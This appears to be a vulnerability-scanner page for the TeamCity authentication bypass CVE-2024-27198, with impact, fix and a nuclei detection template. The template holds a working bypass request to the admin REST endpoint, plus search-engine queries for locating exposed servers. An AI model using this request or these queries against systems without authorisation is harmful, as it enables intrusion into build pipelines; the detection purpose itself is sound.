TeamCity < 2023.11.4 - Authentication Bypass

Exploited in the wild. Listed by CISA on 2024-03-07; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions was possible

Impact

Unauthenticated attackers can bypass authentication to perform administrative actions on TeamCity servers, potentially compromising build pipelines and source code.

Fix

Update JetBrains TeamCity to version 2023.11.4 or later.

How to confirm it

Send: GET {{BaseURL}}/hax?jsp=/app/rest/server;.jsp
Positive when: status_code == 200 and (contains(header, "application/xml") || contains(header, "text/xml")) and contains_all(body, "buildNumber", "server version", "internalId") and !contains(body, "Authentication …

Run it with nuclei: nuclei -id CVE-2024-27198 -u <target>

The full check

id: CVE-2024-27198

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions was possible
  impact: |
    Unauthenticated attackers can bypass authentication to perform administrative actions on TeamCity servers, potentially compromising build pipelines and source code.
  remediation: |
    Update JetBrains TeamCity to version 2023.11.4 or later.
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27198
    - https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive
    - https://github.com/rampantspark/CVE-2024-27198
    - https://github.com/fireinrain/github-trending
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-27198
    cwe-id: CWE-288
    epss-score: 0.99938
    epss-percentile: 0.99971
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jetbrains
    product: teamcity
    shodan-query:
      - http.component:"TeamCity"
      - http.title:teamcity
      - http.component:"teamcity"
    fofa-query: title=teamcity
    google-query: intitle:teamcity
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hax?jsp=/app/rest/server;.jsp"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '(contains(header, "application/xml") || contains(header, "text/xml"))'
          - 'contains_all(body, "buildNumber", "server version", "internalId")'
          - '!contains(body, "Authentication required")'
          - '!contains(body, "login.html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from